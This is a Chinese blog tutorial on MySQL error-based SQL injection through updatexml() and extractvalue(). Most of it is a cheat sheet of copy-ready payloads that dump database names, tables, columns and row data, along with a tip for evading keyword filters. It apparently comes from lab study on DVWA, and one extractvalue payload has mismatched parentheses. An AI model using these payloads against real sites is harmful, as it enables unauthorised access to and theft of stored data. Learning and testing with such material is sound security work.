SQL报错注入1

2024-08-03

SQL报错注入,SQL注入必须掌握的一个注入方法!

前言

学习SQL注入知识点,记录一下SQL报错注入相关知识。

但是这次记录的是利用Xpath报错注入,没有讲到floor()函数报错注入。

后面我会继续找时间补充一下。

一、SQL报错注入适用前提

报错注入的前提:就是页面能够响应详细的错误描述(回显能够报错)

二、报错注入要利用到的函数

SQL报错注入,利用的是Xpath报错注入这个关键点

涉及到的函数如下:

  • updatexml()
  • extractvalue()

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

1. updatexml()解读

updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

作用:改变文档中符合条件的节点的值

语法: updatexml(XML_document,XPath_string,new_value)

  • 第一个参数:是string格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:代表路径,Xpath格式的字符串例如//title
  • 第三个参数:string格式,替换查找到的符合条件的数据

updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

2. extractvalue()解读

作用:此函数从目标XML中返回包含所查询值的字符串

语法:extractvalue(XML_document,xpath_string)

  • 第一个参数:string格式,为XML文档对象的名称
  • 第二个参数:xpath_string(xpath格式的字符串)
  • SQL语句格式:select * from test where id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));

extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

三、报错注入命令整理

这里默认payload是字符型参数,如果测试出来payload是数字型参数,则 and 前面不加单引号 ' 即可

1. updatexml()语句整理(payload形式)

再提一嘴,0x7e就是 ~.在这里的作用就是引起报错同时当作分隔符,便于观察。

  • 爆当前数据库名:' and updatexml(1,concat(0x7e,database(),0x7e),1)#
  • 爆当前数据库的表名: ' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

    注:此处使用group_concat()函数进行输出,否则会出现错误。 无要修改的参数

  • 爆指定表的字段(即列名)信息:' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

    注:要修改的参数table_name,填具体表名。table_name的参数必须加单引号

  • 爆数据:' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from TABLE_NAME),0x7e),1)#

    注:要修改的参数为COLUMN_NAME和TABLE_NAME,具体的列名和表名,这里的表名不需要加单引号

补充一下:' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

这个是爆当前数据库名的拓展,还可以爆出当前用户名,即 user() ;爆出当前数据的文件夹路径,即 @@datadir

@@datadir 相当于 datadir() 的意思, @@database 同理。

2. extractvalue()语句整理(payload形式)

使用extractvalue可以避开关键词 update 的过滤

extractvalue和updatexml大致相同,只是要填入参数变为两个了,而不是三个

  • 爆当前数据库名:' and extractvalue(1,concat(0x7e,database(),0x7e))#
  • 爆当前数据库的表名:' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

注:此处使用group_concat()函数进行输出,否则会出现错误。 无要修改的参数

  • 爆指定表的字段(即列名)信息:' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) #

    注:要修改的参数table_name,填具体表名。table_name的参数必须加单引号

  • 爆数据:' and extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))#

    注:要修改的参数为COLUMN_NAME和TABLE_NAME,具体的列名和表名,这里的表明不需要加单引号

补充:这是爆数据的一个拓展' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users)))#

COLUMN_NAME可以填写多个列名,在group_concat()中会拼接起来

结语

文章的 # 注释符号可以换成其他形式的,比如 %23

参考了以下文章: